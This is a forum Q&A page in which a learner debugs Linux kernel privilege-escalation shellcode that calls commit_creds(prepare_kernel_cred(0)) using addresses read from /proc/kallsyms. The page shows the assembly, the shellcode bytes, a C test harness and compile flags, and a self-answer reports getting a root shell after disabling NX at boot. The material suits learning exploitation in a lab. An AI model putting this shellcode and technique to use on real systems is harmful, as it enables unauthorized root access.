1

I'm learning how to write kernel exploits and my shellcode keeps seg faulting.

I'm getting the memory address for commit_creds(prepare_kernel_cred(0));

#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds

#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred

shellcode.s

main:
 xor %eax,%eax
 call 0xc907f1d0
 call 0xc907eea0
 ret

compile shellcode:

gcc -fno-stack-protector -m32 -z execstack -N -o payload payload.s -nostdlib -Ttext=0

objdump -d shellcode

 payload:     file format elf32-i386


 Disassembly of section .text:

  00000000 <.text>:
      0:    31 c0                   xor    %eax,%eax
      2:    e8 c9 f1 07 c9          call   c907f1d0 <__bss_start+0xc907f158>
      7:    e8 94 ee 07 c9          call   c907eea0 <__bss_start+0xc907ee28>
      c:    c3

shell.c

#include<stdio.h>
#include<string.h>

const char shellcode[] = "\x31\xc0\xe8\xc9\xf1\x07\xc9\xe8\x94\xee\x07\xc9\xc3";

int main()
{

    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

gcc -fno-stack-protector -z execstack -m32 shell.c -o shell

./shell

OUTPUT:

 Shellcode Length:  13
 Segmentation fault

I'm not sure why it crashes on x86.

Please help.

1

All good I have figured it out all I needed to do is turn off NX Execute in the kernel terminal by

pressing e and type in noexec=off on the linux line and boot in by pressing F-10 and compile the exploit with.

  gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t

and I also didn't need to test the shellcode because it kept segfaulting.

but it worked!! I got root!!

OUTPUT:

  root@kali:~/null_dereference# su blake
  blake@kali:/root/null_dereference$ ./w00t 

    [-] Allocating memory.
    [-] Copying shellcode into memory.
    [-] Opening file descriptor. 

            *** BANG ***
            ------------

    [+] YOU ARE ROOT

    # id
    uid=0(root) gid=0(root) groups=0(root)
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.